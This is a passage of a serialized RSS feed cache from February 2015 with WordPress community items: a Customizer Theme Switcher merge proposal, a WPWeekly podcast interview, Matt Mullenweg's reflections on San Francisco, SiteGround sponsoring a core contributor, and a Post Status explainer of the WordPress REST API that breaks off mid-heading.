4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38876\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/customizer-theme-switcher-officially-proposed-for-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2720:\"<p>This week, Nick Halsey officially <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">proposed</a> the Customizer Theme Switcher feature plugin for merge into WordPress 4.2. Halsey summarizes the goal of bringing theme switching into the customizer: &#8220;By integrating themes directly into the Customizer, live-previewing workflows are greatly simplified, and the relationship between themes and theme/site options is clarified for the user,&#8221; he said.</p>\n<p>Halsey explained that the new UI is part of a long-term plan to move all the &#8220;Appearance&#8221; functionality into the customizer. &#8220;The future roadmap includes <a href=\"https://wordpress.org/plugins/menu-customizer\">Menus</a>, Theme-Install, and iterations on widgets that would allow the customizer to entirely replace those admin screens for most users,&#8221; he said.</p>\n<p>His proposal includes a video that demonstrates how a user might scroll through the customizer to browse and preview available themes.</p>\n<p><span class=\"embed-youtube\"></span></p>\n<p>It&#8217;s important to note that if this feature plugin is cleared for merge, users will not have to search for and install themes from the narrow customizer pane. The Customizer Theme Switcher is intended for previewing and activating themes that have already been installed. Contributors on the project are proposing that WordPress 4.2 redirect the &#8220;Themes&#8221; link that appears in the frontend admin bar to the customizer, instead of the backend.</p>\n<p>In the future, Halsey plans to integrate theme installation into the customizer, but this is a larger effort that will be added to the project in a later release. Coming up with a UI that doesn&#8217;t make this a cramped and inconvenient experience is going to be a challenge.</p>\n<p>For more technical details on the proposed core changes and merge implementation, check out Halsey&#8217;s post on the <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">Make/Core blog</a>. If you want to test out the new UI for theme switching, you can download the <a href=\"https://wordpress.org/plugins/customizer-theme-switcher/\" target=\"_blank\">Customizer Theme Switcher</a> plugin from WordPress.org.</p>\n<p>The feature plugin merge window will be closing the week of February 25th, and the official release is <a href=\"https://make.wordpress.org/core/version-4-2-project-schedule/\" target=\"_blank\">targeted for the week of April 22nd</a>. Updates on whether or not the Customizer Theme Switcher is approved for merge will be available within the next few weeks.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 21:04:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:18;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"WPTavern: WPWeekly Episode 179 – Interview With James Laws, Co-founder of WP Ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38913&preview_id=38913\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/wpweekly-episode-179-interview-with-james-laws-co-founder-of-wp-ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3285:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the co-founder of <a title=\"http://wpninjas.com/\" href=\"http://wpninjas.com/\">WP Ninjas</a>, <a title=\"http://jameslaws.com/\" href=\"http://jameslaws.com/\">James Laws</a>. WP Ninjas specializes in WordPress plugins such as <a title=\"http://ninjaforms.com/\" href=\"http://ninjaforms.com/\">Ninjas Forms</a> and <a title=\"http://ninjademo.com/\" href=\"http://ninjademo.com/\">Ninja Demo</a>.</p>\n<p>In the show, Laws explains the origins of the business and why he decided to enter the forms market despite GravityForms being a popular choice among WordPress developers. He shares some of the mistakes he made early on such as competing based on price and offering a one time purchase price. Near the end of the interview, we find out what the future holds for both products.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\" href=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\">Initiative Aims to Improve the New User Experience in WordPress 4.2</a><br />\n<a title=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\" href=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\">The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR</a><br />\n<a title=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\" href=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\">WP Rocket Grows From $0 to $35K in Monthly Revenue</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/adminrocket/\" href=\"https://wordpress.org/plugins/adminrocket/\">AdminRocket</a> allows you to customize the WordPress backend with custom themes, dashboard widgets, and your own settings.</p>\n<p><a title=\"https://wordpress.org/plugins/seo-enforcer/\" href=\"https://wordpress.org/plugins/seo-enforcer/\">SEO Enforcer</a> is a small plugin that works with WordPress SEO by Yoast (it&#8217;s required), that will truncate your title or meta description tags if they&#8217;re too long.</p>\n<p><a title=\"https://wordpress.org/plugins/disable-wp-registration-page/\" href=\"https://wordpress.org/plugins/disable-wp-registration-page/\">Disable WP Registration Page</a> disables the default WordPress registration page by redirecting users who access the registration page URL to the default WordPress login page.</p>\n<p><strong>Next Episode:</strong> Wednesday, February 18th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #179:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:13:36 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:19;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Matt: What I Miss and Don’t Miss About San Francisco\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44012\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/left-my-heart-in/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5012:\"<p>A few months ago I was chatting with <a href=\"http://www.borthwick.com/weblog/\">John Borthwick</a>, who had just returned from a trip to San Francisco. I asked him how the city was doing as if he were a traveler who had visited someplace exotic &#8212; &#8220;How is it <em>over there</em>?&#8221; (As an investor he probably sees the crazier side of the city, since part of his job is looking at hundreds of companies, the vast majority of which will fail, and trying to pick a few winners.)</p>\n<p>Despite getting near-daily meeting requests, I don&#8217;t currently have any plans to visit San Francisco. I was there in June for a few days for Foo Camp and for drinks with <a href=\"http://www.tommarioni.com/\">the artist Tom Marioni</a>. I returned for <a href=\"http://2014.sf.wordcamp.org/\">WordCamp San Francisco in October</a>, and again a few weeks ago for <a href=\"http://scobleizer.com/\">Scoble&#8217;s</a> 50th birthday party and a board meeting. But the couple-times-a-year rhythm seems to be enough for me. I&#8217;m enjoying the distance a bit, in fact.</p>\n<p>There has been plenty written about the bubble culture in SF right now, including on <a href=\"http://www.sfgate.com/bayarea/article/Is-the-antitech-movement-obsolete-6067623.php\">the antitech movement that never really took off</a>. <a href=\"http://ma.tt/2013/03/evolution-of-san-francisco/\">It&#8217;s a topic I already blogged about in 2013</a>. But I was curious to unpack my own thoughts about being away from it all.</p>\n<p>What I don&#8217;t miss:</p>\n<ul>\n<li>Too many meetings &#8212; every possible company is there, and everyone wants to meet.</li>\n<li>High prices for everything, from groceries to cocktails. Not even going to talk <a href=\"http://ma.tt/2014/12/how-paul-graham-is-wrong/\">about the real estate market and rentals</a>.</li>\n<li>It takes forever to get across the city, even though it&#8217;s only 7 miles.</li>\n<li>The public transit, while workable, pales in comparison to other places like NYC.</li>\n<li>The weather isn&#8217;t bad, until you drive to Palo Alto or Marin and notice how much nicer it is there. (Or take a one-hour flight to Los Angeles or San Diego.)</li>\n<li>This is anecdotal, but I feel like cell phone service is terrible, especially for making calls. Calls are unintelligible and drop frequently. I think this is why everyone texts.</li>\n</ul>\n<p>I don&#8217;t have any problem with the social scene; SF might be tech-heavy, but it&#8217;s fairly easy to get out of the tech bubble. Many forget that San Francisco is home to a ton of people working for non-profits, in fashion, finance, bio-tech, art, and music.</p>\n<p>What I miss, deeply: <strong>the people.</strong> Some of my favorite people, professionally and personally, are in the Bay Area, and that&#8217;s the thing that will draw me back someday. I&#8217;m lucky that I can catch up with folks when they travel, like <a href=\"http://janekim.org/\">Jane</a> or <a href=\"http://tonyconrad.wordpress.com/\">Tony</a> in New York or <a href=\"http://om.co/\">Om</a> in Italy. Of course the Automattic headquarters is there, along with some great colleagues, but I can also catch up with them at meetups.</p>\n<p>I miss how much <strong>technology permeates the culture</strong> there, from billboards to services like Uber or <a href=\"https://postmates.com/\">Postmates</a> (or <a href=\"https://munchery.com/\">Munchery</a> or <a href=\"https://www.spoonrocket.com/\">Spoonrocket</a>) that today seem like conveniences, but will be the basis of something very meaningful down the line. You can feel like you&#8217;re living in the future there. Internet speeds seem to be getting better, too &#8212;  local ISPs like <a href=\"https://webpass.net/\">Webpass</a> and <a href=\"https://www.monkeybrains.net/\">Monkeybrains</a> are leading the way, but even my Comcast account there delivers 120mbps.</p>\n<p>I miss being able to run along the water, and the close proximity to lots of beautiful nature areas (granted I didn&#8217;t take much advantage of those when I was still around). The quality of light is really nice &#8212; when you can see it. Restaurants, though tending toward pricey, offer great ingredients and quality.</p>\n<p>Finally, you can&#8217;t deny it&#8217;s a city of hustlers. This tweet has since been deleted, but you get the idea:</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p><a href=\"https://twitter.com/photomatt\">@photomatt</a> Can we interest you in any lemonade? Or what about a quick meeting at <a href=\"https://twitter.com/CoupaCafe\">@CoupaCafe</a> in <a href=\"https://twitter.com/hashtag/paloalto?src=hash\">#paloalto</a> <a href=\"http://t.co/ExoxtXHu38\">pic.twitter.com/ExoxtXHu38</a></p>\n<p>&mdash; Closetclicks (@closetclicks) <a href=\"https://twitter.com/closetclicks/statuses/500345852352008193\">August 15, 2014</a></p></blockquote>\n<p></p>\n<p><img class=\"wp-image-44687 size-full\" src=\"http://i0.wp.com/ma.tt/files/2015/02/closetclicks_2015-Feb-11.jpg?resize=604%2C453\" alt=\"\" /></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:10:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:20;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"WPTavern: SiteGround Sponsors a Full-Time Contributor to WordPress Core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38870\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/siteground-sponsors-a-full-time-contributor-to-wordpress-core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4217:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg\" rel=\"prettyphoto[38870]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg?resize=720%2C352\" alt=\"siteground-offices\" class=\"aligncenter size-full wp-image-38896\" /></a></p>\n<p><a href=\"https://profiles.wordpress.org/iseulde\" target=\"_blank\">Iseulde Van Dorpe</a> is joining <a href=\"https://www.siteground.com/\" target=\"_blank\">SiteGround</a> to work full-time as a contributor to WordPress core. She expects to work on a variety of different tasks, particularly those that relate to media and the editing experience. Van Dorpe&#8217;s recent core contributions helped to improve the editor for users in the 4.0 release.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>There are many WordPress 4.0 standouts, but <a href=\"https://twitter.com/avryl\">@avryl</a> took my editor sizing/scrolling idea and ran with it. Turned it into something *magical*.</p>\n<p>&mdash; Mark Jaquith  (@markjaquith) <a href=\"https://twitter.com/markjaquith/status/507580649536880640\">September 4, 2014</a></p></blockquote>\n<p></p>\n<p>SiteGround identified and selected its new contributor based on recommendations from others involved in core development. &#8220;In search of developing our WordPress involvement even further, we made some inquiries as to what is most needed by the project at the moment,&#8221; said Tina Kesova, VP of Strategic Partnerships at SiteGround.</p>\n<p>&#8220;The answer we received was that front-end and Javascript specialists will be very valuable. A recommendation for Iseulde’s work in this field was also received from several key WordPress people, who have been impressed with the things she has done for the last year since she first started contributing on a volunteer basis,&#8221; she said.</p>\n<p>For the past five years, SiteGround has been actively involved with supporting the project by sponsoring community events, dedicating employees to help with event orgranization, and sending speakers to share their knowledge at WordCamps around the world.</p>\n<p>&#8220;We also already have a great relationship with Mario Peshev, who is contributing to the core on a part-time basis sponsored by our company,&#8221; Kesova said. This experience helped with the company&#8217;s decision to sponsor Van Dorpe as a full-time contributor.</p>\n<p>&#8220;What truly won us after we had personally met her, was that she is not just a capable WordPress developer, but she is also a great fit for our company culture,&#8221; Kesova said. &#8220;She has the same passion for quality and efficiency that drives SiteGround.&#8221;</p>\n<h3>What does a full-time WordPress core contributor do?</h3>\n<p>SiteGround isn&#8217;t the first hosting company to sponsor an employee&#8217;s time for working on the WordPress project. WP Engine, Dreamhost, and a handful of others have been doing so for the past several years. The job varies, depending on the amount of time the company can lend and the contributor&#8217;s areas of specialty and interest.</p>\n<p>&#8220;As part of the SiteGround team Iseulde will be working full time contributing to WordPress core and helping with some maintenance tasks,&#8221; Kesova said. &#8220;She has some great ideas about improvements in the WordPress backend, including the editor and the media manager, and she will be also doing some support work for WordPress by reviewing and closing tickets and patches.&#8221;</p>\n<p>Van Dorpe, originally from Belgium, will be working remotely from her current home in Glasgow, Scotland. SiteGround&#8217;s main headquarters are in Sofia, Bulgaria, but it also has two offices in Bulgaria and one in Spain. The company is in the process of hiring its first American employee and plans to open an office in the USA soon.</p>\n<p>&#8220;As a web hosting company, we are aware of the big significance open source projects like WordPress have for our business, by helping people build their websites on top of the hosting service we provide,&#8221; Kesova said. &#8220;That is why we believe it is our duty to support such projects in a meaningful way that can help further their development.&#8221;</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 18:55:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:21;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"Post Status: The WordPress REST API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8643\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"https://poststatus.com/wordpress-json-rest-api/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:22527:\"<p>The WordPress REST API project is the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0. I really believe that.</p>\n<p>While the project is under a major rewrite and not yet slated for a specific core release, it can be really confusing to figure out what&#8217;s going on.</p>\n<p>Let&#8217;s talk about what the new API is, why it matters, and go over the state of the API to answer some common questions I&#8217;ve seen.</p>\n<h3>What is a JSON REST API?</h3>\n<p>Let&#8217;s start by defining the acronyms. It may seem tedious for experienced developers, but it&#8217;s a good way to get us in the right mindset.</p>\n<h4>API: Application Program Interface</h4>\n<p>APIs have a broad definition. Any program is an API. When you have some form of construct in a programming language &#8212; like PHP for example &#8212; where the construct makes it possible to perform a programming task, that&#8217;s a good way to think of an API.</p>\n<p>Let&#8217;s use custom post types as an example. WordPress has a custom post types API. Really, it&#8217;s just a significant chunk of code that makes previously difficult tasks simpler. Now, you can create all new types of content &#8212; that mimic the content structure for posts and pages &#8212; with just a few lines of code.</p>\n<p>The core team created a programming interface to make that possible. That&#8217;s a layman&#8217;s definition for an API.</p>\n<h4>JSON: JavaScript Object Notation</h4>\n<p>JSON is a preferred format for structuring data so that a variety of applications can read it. You can create JSON formatted data from one programming language and read and process it from another. It&#8217;s similar to XML, but seemingly universally preferred over XML.</p>\n<p>JSON makes communication between something like WordPress and something like a mobile app completely possible, as JSON is a common data format between them, so that you can create data on the WordPress side and return it in JSON, so that the data can be easily read on the mobile app side. Such relationships don&#8217;t have to be between WordPress and a mobile app; it could be nearly anything, meaning &#8220;WordPress as an app platform&#8221; becomes much more realistic.</p>\n<div id=\"attachment_8687\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8687\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-data-752x460.jpg\" alt=\"A JSON blurb, at least how it looks when you go straight to the URL\" width=\"752\" height=\"460\" /><p class=\"wp-caption-text\">A JSON blurb, at least how it looks when you go straight to the URL</p></div>\n<p>JSON looks terrifying if you see it &#8220;raw&#8221;. For instance, Post Status has the WordPress REST API enabled, so if you go to <a href=\"https://poststatus.com/wp-json/posts\">https://poststatus.com/wp-json/posts</a> you can see my recent posts in a JSON format. This isn&#8217;t pretty to the human eye, but for a programming language, it&#8217;s beautiful.</p>\n<h4>REST: Representational State Transfer</h4>\n<p>A REST API is an architectural preference. Most REST APIs, including WordPress&#8217;, are based on HTTP. This means that the primary actions of the REST API are HTTP actions: <code>POST</code>, <code>GET</code>, <code>PUT</code>, <code>DELETE</code>.</p>\n<p>So, with a REST API, we are reading or manipulating data using HTTP.</p>\n<p>Wikipedia kindly defines RESTful APIs better than I can, namely with a definition based upon the restraints on the API itself:</p>\n<blockquote><p>Web service APIs that adhere to the <a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#Architectural_constraints\">REST architectural constraints</a> are called RESTful. HTTP based RESTful APIs are defined with these aspects:</p>\n<ul>\n<li>base <a class=\"mw-redirect\" title=\"URI\" href=\"http://en.wikipedia.org/wiki/URI\">URI</a>, such as <code>http://example.com/resources/</code></li>\n<li>an <a title=\"Internet media type\" href=\"http://en.wikipedia.org/wiki/Internet_media_type\">Internet media type</a> for the data. This is often <a title=\"JSON\" href=\"http://en.wikipedia.org/wiki/JSON\">JSON</a> but can be any other valid Internet media type (e.g. XML, Atom, microformats, images, etc.)</li>\n<li>standard <a class=\"mw-redirect\" title=\"HTTP method\" href=\"http://en.wikipedia.org/wiki/HTTP_method\">HTTP methods</a> (e.g., GET, PUT, POST, or DELETE)</li>\n<li>hypertext links to reference state</li>\n<li>hypertext links to reference related resources<sup id=\"cite_ref-8\" class=\"reference\"><a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#cite_note-8\">[8]</a></sup></li>\n</ul>\n</blockquote>\n<p>These restrictions serve as standards that anyone working with a RESTful API can expect to exist. So, in my case, I&#8217;m utilizing both the WP API and the Mailchimp API on Post Status. Interacting with either feels similar, because they&#8217;ve placed similar constraints on themselves.</p>\n<h3>What is the WordPress REST API?</h3>\n<p>Now we know what a JSON REST API is, so we can better define what the WordPress one is.</p>\n<p><span class=\"pullquote alignright\">The WordPress REST API is a common data and programming interface that abstracts the reading and writing of information for WordPress from the WordPress application as we&#8217;ve previously known it.</span> Now, developers working with WordPress don&#8217;t have to know that much about WordPress.</p>\n<h3>How can the WordPress REST API be used?</h3>\n<p>Developers will be able to perform nearly all the data manipulation and data reading functions that are possible with PHP, with the new API. What&#8217;s that mean? It means everything.</p>\n<h4>Ditching WordPress on the front-end</h4>\n<p>With the JSON API, the frontend of WordPress doesn&#8217;t have to be WordPress at all. For example, developers can completely bypass the WordPress templating engine using the API. They can even keep the backend of WordPress and the front-end of the website on completely different server stacks, because they just need to read the data using the API.</p>\n<p>There are already many websites doing this around the web. Some of them use custom APIs they built themselves, and others are using the new WordPress REST API. Let&#8217;s discuss a couple of examples:</p>\n<ol>\n<li>The New York Times uses the WordPress REST API for a variety of things. They are able to use the API in combination with their proprietary CMS. This allows them to pull WordPress data for placement on the Times&#8217; homepage and other places very easily. They&#8217;re also using the REST API for their live event coverage, like this <a href=\"http://elections.nytimes.com/2014/liveblog\">elections live blog</a>.</li>\n<li><a href=\"http://www.bloomberg.com/politics/\">Bloomberg Politics</a> uses WordPress to publish, but based on the front-end of the website, you&#8217;d never know it. I don&#8217;t think they&#8217;re using the official WordPress REST API, but they could.</li>\n<li><a href=\"http://mashable.com/\">Mashable</a> uses WordPress to publish, but their front-end is not WordPress at all. This is also a custom implementation, as they made the switch before the official REST API was even underway.</li>\n</ol>\n<p>These are three examples of news sites using REST APIs for the front-end. But the applications go much, much farther than that.</p>\n<h4>WordPress as an application</h4>\n<p>If you want to see a prime case study, watch K. Adam White&#8217;s presentation from WordCamp San Francisco 2014, where he talks about <a href=\"http://wordpress.tv/2014/11/03/k-adam-white-wordpress-in-weird-places-content-management-for-node-using-rest/\">how his team used WordPress as the CMS for a node.js app</a>. This really highlights the potential I&#8217;m talking about.</p>\n<p>Looking through the resulting <a href=\"https://github.com/kadamwhite/expresspress\">ExpressPress repo</a> that K. Adam highlights in his presentation is an educational and fascinating experience.</p>\n<h4>Custom WordPress admins</h4>\n<p>WordPress administration doesn&#8217;t have to use the WordPress admin as we know it. With the REST API, you can create, edit, and delete content just as well as you can read it.</p>\n<p>Eventually, the WordPress admin itself may be re-written on top of the REST API. Using the API, creating completely custom administration panels will be easier than ever before. This will allow developers to create catered administration experiences for a particular application.</p>\n<div id=\"attachment_8686\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8686\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-wpcom-post-editor-752x561.jpg\" alt=\"The WordPress.com editor\" width=\"752\" height=\"561\" /><p class=\"wp-caption-text\">The WordPress.com editor</p></div>\n<p>For example, WordPress.com has already utilized their own REST API (which will hopefully be a similar implementation to the core API once it&#8217;s included) to create a custom admin experience for their blogging platform.</p>\n<div id=\"attachment_8685\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8685\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-happy-tables-752x490.jpg\" alt=\"The Happy Tables editor\" width=\"752\" height=\"490\" /><p class=\"wp-caption-text\">The Happy Tables editor</p></div>\n<p>Other services, like <a href=\"http://happytables.com\">Happy Tables</a> for instance, have also created custom WordPress admins. Doing this in the future will be easier than ever because the REST API integrates existing WordPress functionality to the API, so that developers don&#8217;t have to reinvent the wheel.</p>\n<h4>App integrations</h4>\n<p>Additionally to custom web integrations, WordPress will be able to talk to apps easier than ever before as well.</p>\n<p>Previous apps that interfaced with WordPress would most often use XML-RPC. With the REST API, the ability to perform complex functions in a reliable manner is increased. It will be simpler than ever to create a mobile app that can not only read WordPress data, but also  create, edit, and delete that data.</p>\n<p>The entire mobile app can be written in Objective-C, Swift, or whatever programming language, and interface with WordPress.</p>\n<p>An example of this in action is <a href=\"http://apppresser.com/\">AppPresser</a> (<a title=\"AppPresser: A foundation for using WordPress to make mobile apps\" href=\"https://poststatus.com/appresser-wordpress-mobile-apps/\">which I covered</a> when it launched). AppPresser has created an application framework that integrates with the WordPress REST API to make creating WordPress apps for individual sites quite simple.</p>\n<p>But it&#8217;s not limited to app creation with a tool like AppPresser. People can now have one data-storage area (WordPress) that can power both the website and an app, and that is a powerful feature. Also, the apps can talk to and write to the WordPress database directly through the API.</p>\n<p>We will see dozens of WordPress apps and admin integrations over the next few years. We could even see whole startups build apps with WordPress as a base layer.</p>\n<p><span class=\"pullquote alignright\">WordPress can provide an excellent foundation for user management, content management, and much more &#8212; reducing the amount of work a startup creating a prototype mobile application have to recreate themselves.</span> The REST API makes it so a mobile app can look completely custom and also use a tool as widely distributed as WordPress to power many of the internals.</p>\n<h3>When is the WordPress REST API going to be 